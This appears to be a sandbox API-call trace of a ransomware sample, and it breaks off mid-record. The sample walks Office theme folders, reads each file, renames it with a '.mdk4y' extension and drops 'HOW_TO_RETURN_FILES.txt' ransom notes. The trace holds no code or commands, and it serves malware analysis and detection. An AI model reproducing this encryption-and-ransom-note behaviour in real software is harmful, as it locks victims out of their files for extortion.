QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819672400000) returned 1 [0121.495] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.mdk4y")) returned 1 [0121.550] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.550] AreFileApisANSI () returned 1 [0121.550] GetACP () returned 0x4e4 [0121.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUMIPNTG.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SUMIPNTG.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.550] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819678100000) returned 1 [0121.551] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x19e14, lpOverlapped=0x0) returned 1 [0121.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819681200000) returned 1 [0121.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819681200000) returned 1 [0121.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.mdk4y")) returned 1 [0121.612] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.612] AreFileApisANSI () returned 1 [0121.612] GetACP () returned 0x4e4 [0121.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUMIPNTG.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SUMIPNTG.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0121.612] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819684200000) returned 1 [0121.612] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x22b, lpOverlapped=0x0) returned 1 [0121.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819684300000) returned 1 [0121.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819684300000) returned 1 [0121.614] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.mdk4y")) returned 1 [0121.614] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.614] AreFileApisANSI () returned 1 [0121.614] GetACP () returned 0x4e4 [0121.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0121.614] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819684400000) returned 1 [0121.614] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xad0e, lpOverlapped=0x0) returned 1 [0121.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819686500000) returned 1 [0121.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819686500000) returned 1 [0121.635] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.mdk4y")) returned 1 [0121.636] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.636] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.636] AreFileApisANSI () returned 1 [0121.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0121.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.637] GetFileType (hFile=0x130) returned 0x1 [0121.637] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.637] AreFileApisANSI () returned 1 [0121.637] GetACP () returned 0x4e4 [0121.637] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THEMES.INF", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="THEMES.INFMicrosoft Shared\\TextConv\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 10 [0121.637] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0121.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819686800000) returned 1 [0121.638] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c6c, lpOverlapped=0x0) returned 1 [0121.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819693600000) returned 1 [0121.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1819693600000) returned 1 [0121.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.mdk4y")) returned 1 [0121.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.707] AreFileApisANSI () returned 1 [0121.707] GetACP () returned 0x4e4 [0121.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATER", cchWideChar=5, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WATERS.INF", lpUsedDefaultChar=0x37df4c) returned 5 [0121.707] AreFileApisANSI () returned 1 [0121.707] GetACP () returned 0x4e4 [0121.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=62, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\㡺瞈青瞣") returned 62 [0121.707] AreFileApisANSI () returned 1 [0121.707] GetACP () returned 0x4e4 [0121.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0121.708] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.708] AreFileApisANSI () returned 1 [0121.708] GetACP () returned 0x4e4 [0121.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0121.708] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.708] AreFileApisANSI () returned 1 [0121.708] GetACP () returned 0x4e4 [0121.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0121.708] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819693800000) returned 1 [0121.708] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa6c, lpOverlapped=0x0) returned 1 [0121.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819695700000) returned 1 [0121.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819695700000) returned 1 [0121.728] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.mdk4y")) returned 1 [0121.728] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.728] AreFileApisANSI () returned 1 [0121.728] GetACP () returned 0x4e4 [0121.728] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG\\", lpUsedDefaultChar=0x37dec0) returned 12 [0121.728] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819695900000) returned 1 [0121.729] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa5d5, lpOverlapped=0x0) returned 1 [0121.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819696000000) returned 1 [0121.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819696000000) returned 1 [0121.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.mdk4y")) returned 1 [0121.731] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.731] AreFileApisANSI () returned 1 [0121.731] GetACP () returned 0x4e4 [0121.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATER.ELM", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WATER.ELMPNG", lpUsedDefaultChar=0x37dec0) returned 9 [0121.731] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819696200000) returned 1 [0121.732] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x101cc, lpOverlapped=0x0) returned 1 [0121.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819698600000) returned 1 [0121.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819698600000) returned 1 [0121.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.mdk4y")) returned 1 [0121.767] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.767] AreFileApisANSI () returned 1 [0121.767] GetACP () returned 0x4e4 [0121.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATER.INF", cchWideChar=9, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WATER.INF", lpUsedDefaultChar=0x37dec0) returned 9 [0121.767] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819699800000) returned 1 [0121.768] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a1, lpOverlapped=0x0) returned 1 [0121.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819699900000) returned 1 [0121.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819699900000) returned 1 [0121.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.mdk4y")) returned 1 [0121.770] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.770] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.770] AreFileApisANSI () returned 1 [0121.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0121.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.770] GetFileType (hFile=0x130) returned 0x1 [0121.771] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.771] AreFileApisANSI () returned 1 [0121.771] GetACP () returned 0x4e4 [0121.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATERMAR", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WATERMARNF", lpUsedDefaultChar=0x37df4c) returned 8 [0121.771] AreFileApisANSI () returned 1 [0121.771] GetACP () returned 0x4e4 [0121.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\") returned 65 [0121.772] AreFileApisANSI () returned 1 [0121.772] GetACP () returned 0x4e4 [0121.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0121.772] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.772] AreFileApisANSI () returned 1 [0121.772] GetACP () returned 0x4e4 [0121.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0121.772] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.772] AreFileApisANSI () returned 1 [0121.772] GetACP () returned 0x4e4 [0121.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0121.772] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819700300000) returned 1 [0121.773] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x623, lpOverlapped=0x0) returned 1 [0121.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819700400000) returned 1 [0121.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819700400000) returned 1 [0121.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.mdk4y")) returned 1 [0121.775] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.775] AreFileApisANSI () returned 1 [0121.775] GetACP () returned 0x4e4 [0121.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.775] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819700600000) returned 1 [0121.776] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x75da, lpOverlapped=0x0) returned 1 [0121.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819702600000) returned 1 [0121.796] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819702600000) returned 1 [0121.797] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.mdk4y")) returned 1 [0121.819] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.819] AreFileApisANSI () returned 1 [0121.819] GetACP () returned 0x4e4 [0121.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WATERMAR.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WATERMAR.ELM", lpUsedDefaultChar=0x37dec0) returned 12 [0121.819] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819704900000) returned 1 [0121.819] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbfc6, lpOverlapped=0x0) returned 1 [0121.852] 